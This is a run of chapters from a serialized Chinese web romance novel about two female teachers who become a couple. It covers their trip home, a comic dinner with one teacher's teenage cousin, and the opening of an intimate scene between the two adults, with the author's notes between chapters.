记得有一次,他喂鸟的时候我在厨房做饭,油烟往我鼻子里呛,好难受,青菜没洗,蒜没切,我转身一看,他对着阳台的花鸟笑,好不乐乎,我忽然就觉得我是他的保姆。这些年,我只要一穿漂亮衣裳,他便揣测我是不是打麻将外面有人,我和他大吵一架,末了他又来与我表面道歉,但说来说去好像错都在我。我们结婚三十载,分床十余年。”张老师蹙眉,“一想到退休后也是这样,觉得实在是够了!” 林筝墨略有耳闻,张老师的老公,是一个“假的好好先生”,晚上在大厅里,有老师嘀咕,说张老师也真是的,人到中年开始叛逆,越老越糊涂了。 林筝墨却不以为然,家庭的表面宁和,是以牺牲张老师为代价的。张老师是个中年妇女,总归来说也是一个女人,女人的感受不能随着年龄的增长而被忽视,尤其是在婚姻里,吃亏的总是女人的。 她要站张老师这边。 “可以。”林筝墨言简意赅:“我支持你。” 张老师一双手伸出来,掌心在林筝墨手臂来回摩挲,粗糙的手心全是家务活的痕迹。 “小林,你真好” 林筝墨忽然酸涩:“我只是不想你再那么难受。” 这天夜里,张老师拉着林筝墨说了许多掏心窝子的话,说到最后,老人家情绪上头,泪眼纵横。 林筝墨一直安慰她,直到凌晨才离开。 半夜暴雨骤下。 回房间时,简越已经酣睡,林筝墨摸着黑,钻进被窝里,拉过简越一只手,枕在她怀里,静听雨声。 淅沥的雨,也显得犀利。雨点野火似的在窗边燃烧,噼里啪啦,是火堆里的柴,正烈着,却又挟着一种怅然的悲悯,那些遥远的,虚浮的危机感袭上心头,林筝墨许是受到张老师影响,内心不得安稳。 她在黑夜里发呆,凝神。又侧过身,开始吻简越。 吻得稀碎,从眉毛到眼睛,又到鼻子下巴,又吻她的嘴唇,在夜色里独享简越的味道,一直到整颗心都被填满,才沉沉睡去。 隔日清晨,简越先醒来。 发现林筝墨就在枕边,依偎在她怀里,熟睡的林筝墨眉眼间漾着一股寡淡的冷,像冰山上的薄雪。梳妆台的镜子反射着窗帘缝隙里的阳光,在墙上刻下一道纹,一直延伸到她们的枕头上,日光暖融融的。 简越看她看得失神,有种梦境和现实交叠,最终梦想成真的感觉。 昨夜的美梦是林筝墨给的。 * 林筝墨是被吻醒的。 那时简越舌尖挑逗着她的唇舌,熟悉的气味包裹全身,忽然一股激荡袭来,睁开眼便发现是简越。 “唔——”她想说话,又被热情吞噬了。 两人在被窝里一番温存,时间却不够似的。 教师群里有人在催,你拉我,我拉你,好不容易起来。 卫生间里一同洗漱。 简越贴在林筝墨身后,上半身的力气倾靠过去,另一只手拥她,嗓音在牙膏沫里模糊:“就要回去了。” “过得好快。”林筝墨撑在盥洗池,又笑:“你怎么到哪里都要抱我?” 连刷牙都要黏在一起。 怀疑简越有肌肤饥渴症。 “不可以嘛?”简越漱掉口里的泡沫,理直气壮地抱怨,又等林筝墨洗漱完毕。 一双手顺势把林筝墨禁锢在怀里,握着林筝墨的腰让她坐在池台上,半身挤进她腿间,两人又吻起来。 唇间有薄荷气味,简越捧着林筝墨的脸颊,感受着掌心从冰凉变得滚烫。 偶尔,她偷偷睁开眼,会发现林筝墨投入的模样,长长的睫毛因为害羞轻颤着,脸上一点红,是诱人陷落的迷魂汤。 “林筝墨。”吻的间隙叫她的名字,不等对方回答,又堵上一句:“我好喜欢你。” 下一秒,就会收获一个完全动情的林筝墨。 没有力气,没有声音,像一只软绵绵的虫,瘫软在简越的手掌心。 可爱至极。 * 返程时,简越刻意穿上一件墨灰色衬衣,扣子扣紧,遮住脖子上的痕迹。林筝墨不放心,又替她贴上一个创可贴,帮她整理好衣领才作罢。 确定恋爱关系,意味着往后她们要成为小偷,后缀是:甜蜜的。 大巴车上,张老师依旧和林筝墨坐一起。 简越则换了一辆车来坐。 长长的盘山公路,厚重的汽车老实巴交地行驶着,前车与后车的距离,同一片风景,思念却像山峦之间的密林一样,没有间隙。 林筝墨拿出手机,打开备忘录。 上一条是:【她洗澡的时候,我可以听三首歌。】 写下新的一条:【接吻的时候,时间过得很快。分别的时候,时间又慢如蜗牛。我怀疑我的时间度量衡发生了变化。】 连轴不断几小时,终于抵达南城。 届时天已昏黑,暮色四合。老师们拖着疲惫的身体下车,简越在人群中搜索林筝墨的身影,发现林筝墨早就在看她。 隔空眼神交汇。 简越:怎么说? 林筝墨眨眨眼:你安排。 简越颔首,把四周的人都看了一遍,意思是:等人散去。 林筝墨低头,在手机上打下一行字:我饿了。 手机震动了一下,简越低头查阅,回复:去我那,我做饭给你吃。 林筝墨:那我现在网上买菜。 简越:别买太多,吃太饱了没精力做别的。 林筝墨脸倏然一红,抬眼看简越,有嗔意,又打下一句:坏人!我要在网络上曝光你! 简越调趣:我是坏人,那林老师恐怕是老坏人装老好人吧? 发完这句,手机揣兜里,远远观察林筝墨,发现林筝墨脸蛋红扑扑的,不知道是不是角度原因,还觉得林筝墨气鼓鼓的。 可爱X10000. * 【营养加更章】 * 由于简越是这场活动的负责人,故不能提前撤场。她为人细致又周到,把每个老师都安排妥当,又与大巴司机几句客套,这事才算完。 万事稳妥,这是简越的脾性。 直到所有人都离开,才去找林筝墨,林筝墨在马路对面的便利店坐着等她。 两人顺手买了一点饮料和零食,走出便利店,闲谈起来。 “久等了。” “没事。”林筝墨倒也理解她,夸赞起来:“张老师说,你安排什么都很细心,我看了看,也是。” 简越扬唇,“那下次团建还来吗?” “你在我就来。”林筝墨手里提着塑料口袋,简越接过去,不让她拿重物,林筝墨又觉得,都是女生,她才不要什么重的都给她拿,于是从塑料口袋里拿出两瓶汽水,徒手拿着,为简越减轻重量,“买的菜已经挂门口了。” 简越将她的动作收入眼底,心头暖暖的。 “买了什么?” “乱买。”林筝墨老实巴交,她不是一个花里胡哨的人,日常做饭也很家常,加上是一个人生活,有时候烹饪只是应付了事,她对食物没什么执念,吃饭只是为了填饱肚子。 简越笑,“没事,我来安排。”说着靠近一些,肩膀靠着林筝墨,下意识想牵手,又觉不妥,这里是学校附近,很容易遇到老师。 动作上不能满足,只能嘴巴大胆。 “回家我们先不做饭,做一下日常。” “什么日常?”林筝墨一脸迷茫。 “接吻。” 林筝墨忽然觉得脸烫耳热,这是南城,是学校附近,不是西山。街上的路人随时都可能是熟人,觉得简越说话太大胆。 “你小声一点啦。” “那你记得,这是我们的日常,以后每天都要做。” “记不得。” “那就是做少了。”简越轻声笑:“多做做就记得了。” “你——” 简·坏主任。 从学校门口步行到教师公寓只需要几分钟时间,她们并肩进入教师小院,院子里灯火畅明。 窗台传来厨具翻炒的声音,携着锅气,是辣炒肉、炖排骨、卤猪蹄。沿途路过,听见各家各户的声音,有日常琐碎的繁念,也有欢声笑语,不做作业的小孩儿挨了打,鬼哭狼嚎,乒乓球拍打在墙面,清脆而富有节律。 连蔷薇也在阳台盛开,肆意漫香。 林筝墨忽然觉得自己泡在一个温暖的池塘中,那种小小的幸福感包裹着她,低头是她和简越的影子,抬眼是心上人的眼睛,她们像画家用鲜艳笔触落下的一个角落,躲在一隅偷偷的生长着。 “我想搬家了。”林筝墨回忆起简越隔壁有老师搬走,“你家对面有新的人搬进来吗?” “暂时没有。” “那我去申请。” 简越觉得是个不错的想法,“那我们就有两把钥匙,两个阳台,一个厨房,一张床。” “为什么有的是两个,有的是一个。” “衣服可以晾在两个阳台,门可以是两扇。”简越眼底闪烁着光,“但饭要一起吃,觉要一起睡。” 林筝墨没想过这些,不敢想,但简越一说,她又迅速坠入美梦里了。 她甚至想到更多,更长远,夏天她们一同下楼买一个大西瓜,窝在沙发上追剧,泡泡就躺在她们之间吹空调;秋天她可以穿简越的卫衣和牛仔裤,清晨下楼买豆浆和油条,等她醒来,傍晚听学生在操场打篮球;冬天一起躺在柔软的棉被里,汲取对方的温度,周末睡到自然醒,天气要是太冷,她要钻进简越的厚衣服里,上班时抢她的围巾;而春天—— 不能再想了。 她才与她恋爱两三天,就迫不及待想到未来几百年。 “应该能申请到。”简越开始上楼梯,边走边说:“明天就申请吧。” “好。” “把水给我拿。”简越伸出手去。 林筝墨没把水给她,而是把自己手递出去,让简越牵她。 狭小的楼梯道是她们的秘密小盒子,可以在这里牵手上楼,无人知晓。 夜色的光晕从楼道口菱形圆洞里透进来,光束落在林筝墨的鞋子上,也在简越的脚踝上,她牵着她,踩着漫长的阶梯,可口可乐在瓶子里摇晃,二氧化碳在喧嚣。 林筝墨走到三楼,忽然停下脚步。 简越感受到停止,回过头看她。 林筝墨矮两个阶梯,抬眼凝视着简越,爱意在眼里暗涌。忽然,楼梯道的感应灯熄灭,简越没做声,因为关灯,等于林筝墨开灯。 她只觉得林筝墨轻轻拉了她一下,于是脚尖自动下去两阶,与之齐平。 塑料袋在白色墙壁上摩挲着,膨化食品的包装壳在挑逗墙上的幼稚涂鸦,如同简越鼻尖贴在林筝墨鼻尖一样,温热在夏日伊始的夜晚发酵,彼此的气息情不自禁融合了。 简越吻林筝墨的时候,小声问她:再上三楼我们就到家了,你为什么这么迫不及待。 可林筝墨却一句话都不说,又故意拉简越近了一些。 简越靠近,只觉得嘴里含着一颗软糖,舔舐掉甜而不腻的糖衣,剥离,芝士一样温暖的糖芯,化在舌尖,沿着喉咙流入心间。 她拥着她,而她靠在墙角,三楼的老师应该在看电视,墙壁里传来蒙蒙的晚间新闻联播,主持人用字正腔圆的嗓音叙报着。简越捏着林筝墨清瘦的下巴,一点点攫取,直到贪婪地吸走最后一丝氧气,林筝墨才推开她,微喘着:“我又肿了。” 一楼忽有人进来,脚步声踩亮了感应灯。 林筝墨的脸颊忽然在光晕中盛开,白中带粉,粉得纤丽,薄情的嘴唇泛着水光,是被吻肿的,一双眼睛氤着水光,摄人心魄。 简越目不斜视,只觉得她好漂亮。 林筝墨却轻戳她一下,“走了,有人上来了。” 余下三楼,林筝墨忽然就不饿了,精神上饱足。 简越站在门前,拿出钥匙开门,钥匙钻进锁的咬啮里,门推开一条缝,忽然听见客厅的电视在放,是夸张的动漫配音和日语。 “咦?”她以为她出门没关电视,但这不合理。 先一步走进去,往客厅一看,发现赵筱筱正拿着遥控器看着她。 紧接着,林筝墨出现在简越身后。 赵筱筱的眼睛从“-”变成了“o”,提直了腰板,她洞察力很强,发现她们提着菜和小零食。 怎会如此? 不是在吵架吗? 士别三日,已是老妻老妻? 简越有些尴尬,要把这家伙从七楼摔下去已然是不行,更何况她的表情那么耐人寻味。 “你怎么在这里?” 赵筱筱放下遥控器,“我以为你明天回来!!”说着从沙发上跳下来,野狗似的跑去换鞋,“啊?你周天回来吗?我和我妈吵架了,过来躺会儿尸,我以为你明天才到,沙发替你们热好了,我先滚了。” 林筝墨拦住赵筱筱的去路。 赵筱筱笑盈盈抬眼,声音甜甜:“嗨~林老师~晚上好啊~” 嫂子。 夜安! 不等林筝墨解释,赵筱筱已经替她找好了借口:“你们团建很累了吧?我姐做饭是好吃,经常请同事来家里吃饭,我都习惯了,嘿嘿嘿嘿” 林筝墨没想到这么优美的借口就飘了过来,她甚至差点还没恰当理由。 赵筱筱哼哧哼哧穿鞋,觉得今天的鞋怎么那么紧,“嘶——我作业好像没写完。” 简越发现赵筱筱殷切得可怕,事出反常必有妖,挽留她吃饭:“吃个晚饭吧。” 赵筱筱:“我胃溃疡吃不下!!” 简越:“?” 赵筱筱左脚穿着右脚鞋,就要溜溜球,简越一把抓住她,“吃饭。” 赵筱筱挤出一丝微笑,艰涩道:“姐你让我走。” 奴才出现在这里 真的。 不是。 故意的—— 作者有话说:最近店里的人终于培训出来了 希望7月能够按时更新! 补了昨日的更新。 以后都尽量八点了。 本章随机发红包[彩虹屁] 第47章 第四十七章 女人不如小炒肉TAT…… 第四十七章 赵筱筱出现在这里是有理由的, 但原因有点难以启齿。 作为唯一一个知道简越分手的人——甚至连简越本人都不知道。 她以为简越很伤心,所以准备陪陪简越。 她还用自己的零花钱买了冰淇淋,放在冰箱等简越回来吃,连安慰话都想好了:姐姐, 心情苦苦就吃点甜甜, 凄凄惨惨但没关系, 妹妹陪你。 赵筱筱的贴心只有赵筱筱自己懂,她很懂事, 不想好心办坏事。 “姐, 我真的要走了。” 简越觉得这孩子不对劲,平常都赖着不走,怎么现在脚底抹油, 很诡异 “你怎么了?”简越有话直说:“这么急,是发生什么事了吗?” 林筝墨心想,难道是因为我突然出现在这里?稍稍代入一下, 赵筱筱假期到表姐家看电视,却遇见科任老师, 这和看见贞子有什么区别? “筱筱。”林筝墨替她铺台阶:“你继续看动漫, 等会儿再和你姐吃饭。”言罢, 林筝墨放下手里的塑料袋,“我不在这里吃饭, 只是过来拿东西。” “NO!”赵筱筱急得直飚英文:“NONONONONO!!!!!” 嫂子别走。 嫂子留下。 嫂子求你。 但她不能叫她嫂子, 她只能叫她—— “林老师。” “林老师你别多想。” 赵筱筱脑速惊人, “刚刚你们回来我才发现好晚了,下午我和我妈吵了架,我不现在回去,等会儿她得担心我了。” 简越拿出手机, “那简单,我和姨妈发条消息就行了,你也没吃饭吧?今晚我们仨一起吃。” 赵筱筱咬紧后牙槽,觉得简越一点不上道。 我替你们制造二人空间,你非要拉我当电灯泡。 “我”赵筱筱原地转了一圈,忽然发现塑料口袋里有薯片,她好想吃,“啊,好吧。” 败给你了。 我的麻辣薯片。 原计划是二人食,现在多了一头小猪也没所谓。 赵筱筱非常有眼力见,当简越和林筝墨进厨房的时候,她就躺在沙发吃薯片。里头传来锅碗瓢盆的声音,偶尔,简越和林筝墨搭腔几句,那种低语,那对赵筱筱来说是绝美的韵律。 居然也能在十六岁少女脸上看到六十岁的慈祥笑意。 “诶?你过来洗一下青菜啊。”简越从厨房露出半颗脑袋,“平常你都洗的啊,今天怎么回事?” “我要吃薯片!” “你不洗,难道让你林老师洗?” 赵筱筱从沙发上起来,嘟哝:“有了媳妇忘了妹。”——我还不是怕坏了你们的好事。 她冲进厨房,对着青菜过一道水,唰拉一捞,相当敷衍,洗了又跑出来,临到客厅又跑回去,对简越说:“姐,对了,我给你买了冰淇淋。” 简越有些意外,“喔,谢谢。” 赵筱筱把冰淇淋拿出来,也不管简越要不要吃,径直递给林筝墨,“林老师,你帮我姐拿一下。” 话末,人又溜走了。 留下林筝墨捏着冰淇淋一脸懵。 “她真是”简越两只手忙着切菜,“那就只能你喂我吃。” 林筝墨觑向客厅,赵筱筱的身体歪斜在沙发,目光落进电视屏幕里,聚精会神。她迟疑:“确定吗?筱筱她看到会不会不太好” “她不会进来了。” 白色冰淇淋里面裹着草莓酱,边缘的冷膏开始融化,软塌塌的,一圈一圈的螺旋上去,冒了个尖儿。让人觉得那是最甜的部分,林筝墨一勺子挖下去,递到简越嘴边。 “快吃。” 简越偏过头,嘴唇接触到边缘,在勺尖抿了一口,故意留下一半,眼色滟滟望向林筝墨。 那眼神多少带着点明晃晃的勾引。 林筝墨不敢解读,晃了晃勺子,“吃完。” “我不。”简越转身去放水,将青菜又淘一遍,慢条斯理道:“你一半,我一半。” 解暑的冰淇淋也让心情炽热起来,若是客厅里没人,她可以大方和简越调情,可学生在外面,怎么都不自在。 但脑袋和嘴巴似乎是两个分离的部件,最后林筝墨还是没忍住抿了一口,简越吃过的冰淇淋,好像是要甜些。 甜味的冰凉沙冰粒在舌尖化开,她们就这样一人一口吃了几次,一颗冰淇淋逐渐见半。 林筝墨发现,这种平凡的、淡然的日常,竟也变得不再稀疏平常。冰淇淋没变,是便利店售卖的常有款,青菜也没变,是六块九毛九的上海青。 可心情在变。 心情是什么呢—— 心情是青菜倒入热油里,忽然发出的“呲”的一声,水在热油里沸腾、跳跃,烟雾被抽油烟机嗡嗡旋入,她站在她旁边,看简越墨发乱挽,随意得很好看,一只手拿着锅铲,嘴里念叨着:“给我拿一个装青菜的盘子吧。” 林筝墨转身打开橱柜,冷淡的木质香,胡椒粉的呛味,竖立在筷筒里的不锈钢筷,还剩半包挂面,未开封的无碘盐,保鲜膜,烤箱锡纸 是生活的气息,是简越的味道。 忽然想起一个人住的时候,心是空的,对生活的观察是匮乏的,也许简越的出现,打开了她的另一面。 “青菜好啦,肉丝也好啦,煮个汤我们开饭。”简越往客厅喊:“赵筱筱,过来添饭。” “来喽~” 晚饭一荤一素一汤,一张餐桌,三个碗,鹅黄色的吊灯散着暖融融的光。林筝墨看着桌上的三道菜,忽然觉得很幸福。 “林老师先吃。”简越替林筝墨夹菜,“赵筱筱后吃。”又替赵筱筱夹。 赵筱筱唇角噙着笑,学着简越,有模有样,“林老师先吃。”末了,又给简越夹菜,“简老师后吃。” 林筝墨看着自己堆满美味的小碗,心底有热气在蒸腾,她们两姐妹也太可爱了吧。 “你们快吃,别给我夹了。” 赵筱筱说:“林老师,你这么受,要多吃点了。你还没吃过我姐做的饭吧?可香了。” 林筝墨吃过,上一次来这里,简越还给她做了饮品。那时只觉得简越厨艺精湛,但具体到什么地方,没关注,那时她们只是同事,顶多算个朋友。她有心欣赏她,但不敢过度,一直克制着。 明明还是前不久的事,仿佛已经过了一个世纪。 简主任。 啊啊啊。 忽然抬眸望向简越,发现简越正好看她,两人四目交触,一些默契的回忆浮现在脑海里,唇角不约而同噙着笑意,好像空气都变了味。 林筝墨尝了一口,不吝夸赞:“嗯,是我吃过最好吃的。” 赵筱筱内心哦哟哦哟哦哟哦哟,哦哟一万遍,低头扒饭,忍不住低声嗤了一下,觉得连小炒肉都是甜的,要命! 吃饭总要说点什么的。 对只有十六岁的妹妹,仿佛也只有那个老生常谈的话题: “下个月期末考试,你别顾着天天看动漫。”简越提醒赵筱筱:“考不好你暑假得难过了。” “我知道。” “特别是你的数学,不好好考,你和姜羽就得黄。” 赵筱筱忽然抬头,轻耸鼻尖,下嘴唇嘟着上嘴唇,难过到颤抖:“我和她分了!” 简越稍愣,发现林筝墨也是。 赵筱筱自顾自道:“啊她把我甩了,她说她不是同性恋,她搞来玩呢,剪短头□□鲻鱼头是为了潮流,她现在要变回直女了,她的机车也卖了,可能要去坐别人的机车了吧。” “啊”简越原本只是想提醒赵筱筱好好学习,没想到踩入雷区,尴尬至极。 对林筝墨眨眨眼睛,求助,结果林筝墨也是一脸迷惘。 两个成年人不知道该不该安慰。 “多吃点。”林筝墨只能以最僵硬的方式安慰她,“吃饱了就不伤心了。” “谢谢嫂——林老师。”赵筱筱尚且没那么难过,但一想到自己的初吻是姜羽,有种喉咙里塞了屎的感觉,没忍住,眼泪啪嗒啪嗒掉下来,“呜我本来想自己消化的。” 简越吓得连忙给她递纸。 赵筱筱却泪眼霏霏,纸巾捻着眼角,呜咽:“直女都是坏蛋!!你们千万别和直女谈恋爱!!” “我我们不喜欢女生。”简越尬笑,连忙夹了菜放她碗里,好让她少说两句,“赶紧吃吧,正好你也不是谈恋爱的年纪,过一段时间就好了。” 赵筱筱哭得肩膀颤抖,“只有我们拉拉,真情实感,是小丑,其实我还挺喜欢她的为了和她继续在一起,你不知道,最近,最近我让沈礼萍给我补数学,补了好久,晚上都在做题” 为爱做题的拉拉+1. 林筝墨揽过她的肩,轻轻拍打,觉得还是要给到一点实际的安慰比较好。 “她不喜欢你,总有人喜欢你啊,你是这么可爱、开朗的一个女孩子,什么人和你在一起都会开心的,总有一天,真正爱你的人会来到你的身边。” 林筝墨太温和,赵筱筱有被安慰到,揉揉眼眶,“真的嘛林老师,真的会有女孩子爱我吗?我长得还算可以吧?女人会喜欢我这一款吧?” “嗯,会喜欢,你很可爱。”林筝墨颔首,温声细语:“不伤心了,好好吃饭,吃完饭下楼,等会儿我送你回家。” 赵筱筱感激涕零,“呜呜呜呜林老师你真好。” 你真好。 我可以分手。 但你们要锁死。 “快吃饭吧。”简越见她太惨,也不好说她,“不哭了,吃饭,这个小炒肉不错,快尝尝。” 赵筱筱吸吸鼻子,嗟叹:“哎,女人不如小炒肉” 林筝墨:“?” 简越:“?” 不敢吱声jpg—— 作者有话说:温馨提示:不出意外12点前还有一章加更[彩虹屁] 第48章 第四十八章 一做起来就发疯了忘情了没…… 【加更章】 【我加我加我疯狂加】 第四十八章 “赵筱筱, 记得把台面擦干净再走哦。” “好嘞!” “顺便把垃圾带走。” “好呢~” “我和你林老师还有工作要做,所以她就不送你了哦。” “好嘟好嘟。” 赵筱筱提着一袋厨余垃圾,提脚换鞋。系鞋带的时候听到林筝墨小声问简越:“这样好吗?” “林老师我已经是成年人啦!”赵筱筱嘴角噙着笑,“放心吧, 我回家很安全的, 你们继续忙工作吧~” 说完这句, 关门丝滑离开。 林筝墨:“她成年了?” 简越摇头,“没有啊。” 门外, 赵筱筱憋了一整晚的笑容终于猖狂起来, 但不敢吱声,只有表情,没有声音。她很中二, 对着空气画了一个爱心,隔空投送到门里。 祝: 姐姐和嫂子,新婚愉快, 白头偕老,永远幸福 正自嗨, 门忽然隙开一条缝, 里头的光透出来, 是简越,赵筱筱吓得一个哆嗦, 赶忙弯腰提垃圾。 简越:“你怎么还没走?” 赵筱筱啪的一声拍了下手臂, “有蚊子咬我。” 简越:“回去注意安全, 到了让姨妈发消息给我。” “好嘟。” “别嘟来嘟去的。”简越目送她:“去吧。” “姐”赵筱筱眼底含笑,唇角上扬,“那个” “哪个?” “没。”她抬腿下楼,拾级而下, 走到一半忽然回头看简越,“啧啧。” 简越:“???” 赵筱筱只留下一句意味深长的“啧啧”,像一只油光腻亮的小老鼠,迅速消失在楼道的黑暗里。 简越见她走远了,放下心来。 转身。 关门。 林筝墨正坐沙发上看电视,电视里播放着国语版的《百变小樱》,没想到这年头还有年轻人看这个,这好像是千禧年间喜欢看的动漫吧? “她走啦?”林筝墨抬眼看简越。 “嗯。”简越把客厅的大灯关了,只留一盏沙发旁的小夜灯。 “会不会不安全。” “才八点,很安全,她平常来我这,也是打车回家的。” 简越坐在沙发上,揽过林筝墨的肩膀,林筝墨自然而然靠在她怀里。荧幕的蓝光映在脸颊,动漫人物夸张的色彩闪烁着,两人都无心看这幼稚的内容,思绪飘飘。 “今晚要不要——” “不行。”林筝墨一口回绝了:“晚些我还是要回去,有两天没看见泡泡了。” “喔~”简越哼出一个意味深长的喔,直白地挑逗着:“那时间很赶了。” 说完这句,搭在林筝墨肩上的手紧了些,林筝墨也不抵抗,自然就靠近一些。 “做日常?” 简越偏过头,嘴唇贴在林筝墨的耳朵上,明明刚确定关系,这个动作已经熟极而流,可见这两日干柴烈火到什么地步! “什么日常”林筝墨发出迷离的鼻音,才刚开始,她就觉得自己已经有点儿晕了。 简越含着她的耳尖,又松开,沿着耳畔故意吹了口气。 “你又忘了。” 热意钻进林筝墨的耳朵里,回荡着,烧得厉害。 “我不懂。”她很懂,但要说不懂。 “哦~”简越笑着压向她,林筝墨向后倒去,墨发散落在肩头,在棉麻沙发上散开一朵黑色而艳丽的花,好看的唇紧绷着,有点紧张。 简越一双手支撑在林筝墨两侧,居高临下欣赏着她,确实是欣赏,眼底流溢着迷恋。 可她只是看着林筝墨,不说话,也没有动作。 林筝墨被她眼神烫到,抬起手去遮她的眼睛,有点娇羞,“你干嘛” “你怎么这么漂亮?”简越相当直接。 “没有你漂亮。” 林筝墨自认为自己也许有几分姿色,但她顶多给自己打八十,而简越是一百。 只能是满分。 没有第二个选项了。 “哪有?”简越把遮挡眼睛的手拿开,一瞬不瞬凝视着她,“明明你更漂亮。” “你更。” “你。” 两人原本是要接吻,发展到后面居然讨论谁更好看,这当然是一个没有答案的问题,她们是彼此世界里的一百分。 斗嘴斗到最后,也只能斗嘴了。 简越趁林筝墨不注意,倾身去吻她的下巴,林筝墨轻哼一声,阖上眼,眼神逐渐迷濛,觉得很痒,因为简越的唇忽然游离到脖子了。 也不单单是痒。 有点酥。 有点飘。 视线雾沌沌的,屏幕的光影在天花板涌动,是一条蓝色的迷雾河流。 “明天要上课,别弄到这里。”她浅声低吟着,提示简越不要在脖子种草莓。 简越则抬起她的下巴,脖子侧面露出光洁一片,在光线下呈现出冷白色,她脖子血管青色纹路的地方,有一颗小小的痣。 小小的痣便是一颗星球,足以让简越栖息好久。 她低头,轻轻啃咬着,只留下浅浅的齿印,不留下红晕。 林筝墨被弄到头晕目眩,一双手不安分地去拉简越的手。 她喜欢拉简越的手,让简越与她十指紧扣。 通常是一只手十指紧扣,如果不是牵着手,则要让简越摸她。 摸她的耳朵、脸颊、眉毛,有时候是嘴唇。 今晚简越存心要逗弄她,好几次嘴唇游离到唇边,好像要吻到了,林筝墨主动抬头去迎合她,她又逃离。 一直得不到满足,心头空落落的。 “我要。” “要什么?” “做日常。” “做什么日常?你不是不知道?”简越看着林筝墨因为动情的模样逐渐红晕的脸颊,内心荡漾,“说出来。” “我想你”林筝墨觉得羞耻极了,抬起一只手,遮住自己的眼睛,遮住四面柔软的光,遮住她的羞怯,遮住她的欲l望。 仿佛她看不到简越,简越就看不到她似的。 “想你” “亲我。” “听不见。”简越停在她的唇边,大约只有一厘米,只要林筝墨稍稍抬头,她们就可以吻在一起。 要让林筝墨再说一次绝不可能。 果然林筝墨选择抬头亲吻。 咬简越嘴角的时候,林筝墨像一只啃草的小羊羔,青涩却又带着对食物本身的欲念,她要如何咀嚼这份清甜,只能不加掩饰,她不会掩饰,不懂掩饰。 回忆起上一次接吻是在早上,却觉得过了一万个世纪。 当热情达到某种程度,新的想法渐渐萌芽。 或许曾经在网络上的那一面,要缓缓揭开了 林筝墨气息温热,情不自禁,手指落在简越衬衣最上面的那颗扣子上,是相当贴合的面料,扣子是她早上为简越扣上的。美其名曰:草莓不许被别人看到。 现在草莓该出来透透气了。 她解开一颗、两颗、瞥见简越的锁骨。 简越的锁骨是平直的两根,延伸出去,连接着紧实而纤细的臂膀,她双手撑开环绕着林筝墨的时候,骨头凸显的力度带着一种女性的柔韧美感,随着她的呼吸,骨头上下起伏着。 这种起伏在夜色柔暖的光晕里,像是一片温柔的海,荡漾在林筝墨的眼睛里。 林筝墨去摸她。 指腹在锁骨山峦的起伏里,忽上、忽下。起是呼,伏是吸,到后面,林筝墨发现呼吸错乱的是自己。 她坠入深海里了。 “你好像特别喜欢?”简越将林筝墨的一举一动收入眼底,含笑:“再给你看点别的?” 简越解开衬衣全部的扣子,搭在一旁,里面还穿着一件简单的白色T恤。 林筝墨忽然觉得:穿衬衣的人就不要穿内搭,最好里面什么都不穿。 她捏着简越的衣摆,轻轻往上提,迅速放下了。 只瞥见一点点光景。 一点点。 简越的小腹。 和网络上照片上一样。 又不一样。 是看美食图和吃美食的差别。 图片是单调的,但食物是有味道的,她想尝尝咸淡。 便又揪着衣摆,轻轻一提,手指钻进去,指尖在简越肚子上戳了一下。 通常来说,戳只是一种礼貌,摸才是关键。 手指戳了一下,相当满意,掌心立马迎合上去,在腹部贴了贴,一直滑到后腰,像上了发条似的机器人,什么也不会了,只会重复来回的动作。得益于健身,触感很强烈,没有赘肉,全是曲线。 林筝墨迅速坠入那种迷惘中,发出一声喟叹。 简越被她摸得心头烫热,问她:“喜欢吗?” 林筝墨:“喜欢。” 简越耳朵靠在她耳边,“那说点好听的给我听……” 林筝墨:“你身材很好。” 简越:“不够,继续说。” 林筝墨有种忘了复习却被老师抽背的局促感,简主任坏。 林筝墨:“我” “把网上说那些。”简越故意低下腰,在林筝墨身上贴着,“再说一遍。” 网上说的。 打下文字全是马赛克。 更何况要从嘴巴里说出来。 犯罪! 林筝墨:“我记不得了。” 简越:“那我帮你回忆一下。” 林筝墨脸色红润,潮里潮气,她几乎预料到简越要说什么了。 “你说让我从身后抱着你。” “我们什么都不穿。” “我一只手搂着你的腰。” “然后我的另一只手——” 林筝墨深吸一口气,打断她:“我求你” 简越没继续往下说,她伸出手,把林筝墨拉起来。 “来,过来。”简越戳了戳沙发,让林筝墨抬起膝盖。 林筝墨稀里糊涂照做,不知道怎么就跪在沙发上。 简越缓缓起身,绕到身后,纤细的手臂拥着林筝墨的肩膀。 她对她说: “林老师。” “网上说过的。” “现实也要做一遍。”—— 作者有话说:一做起来就发疯了忘情了没命了[狗头](bushi) 第49章 第四十九章 到了,很快 第四十九章 林筝墨承认, 当初在网络上是有点肆无忌惮,以至于她现在都有点儿后悔了。 如果早知道啊啊啊是简越,她哪敢这么放肆?她一定装清纯,装正经 装 衣装快被褪下了。 林筝墨穿着一件淡蓝色T恤, 贴身设计, 露出一点点腰腹和肚脐, 下半身是登山时带的登山裤,宽松些。 跪坐的姿态, 一双纤细的腿藏在裤管里, 骨感的脚踝从狭窄的裤口里露出来,骨节分明,纹路清晰, 她还穿着一双白色袜子,是那双简越夸赞过的同款,上面有小猫咪刺绣的袜子。 外表清纯, 姿态诱惑。 简越贴在她身后,手握在她的腰上, 一点点撩起衣摆, 直到肋骨的位置停下。 林老师的腰又白又软, 像是和阳光不对付,像是只活在冬天的人, 白得像雪。她虽没有马甲线, 却也没有赘肉。简越手掌贴上去的时候, 好像在捏一块软海绵,她是小骨架,更给人一种孱弱的感觉,仿佛再用力一些, 她的腰就要塌在掌心里了。 这种柔弱反而唤起简越强烈的爱意。 她捏着林筝墨的腰,稍稍用力,让林筝墨的后背靠在她的怀里。 “林老师。” “嗯” “做完再回家没意见吧?” 简越富有刺激性的语言钻进耳朵里,很难怀疑她不是故意的。 “做”林筝墨被撩得头晕目眩,“做什么?” “做。”简越埋在林筝墨的发丝里,细而蓬松的发,一点洗发水气味,她嗅了嗅,“做” 爱在空气里回荡。 电视机里,轻快的动漫片尾曲萦绕在耳边,少女用日语吟唱着:ほら Catch You Catch You Catch Me Catch Me ゼッタイ.(注:类似于“追寻你,抓紧我”的意思,但歌曲里没有涩情的意思。) 林筝墨不懂日语,可歌词里的Catch You,Catch Me是什么意思,对于一个英语老师来说不言而喻。 她忽然觉得歌词很应景,很像她和简越现在的姿势 可动画片又是那么纯洁,那么可爱,她和简越却是在罪恶感相当强烈。 “能关掉电视吗?” “好。” 遥控器的红色按键摁下,扔在地毯上。客厅忽然非常安静,耳边只有简越呼吸的声音。 林筝墨稍稍低着头,偏过清瘦的下巴,一点点隐忍藏匿在发丝里。 可她有点受不了。 因为简越在摸她。 平坦到曲线,滞留于某处。 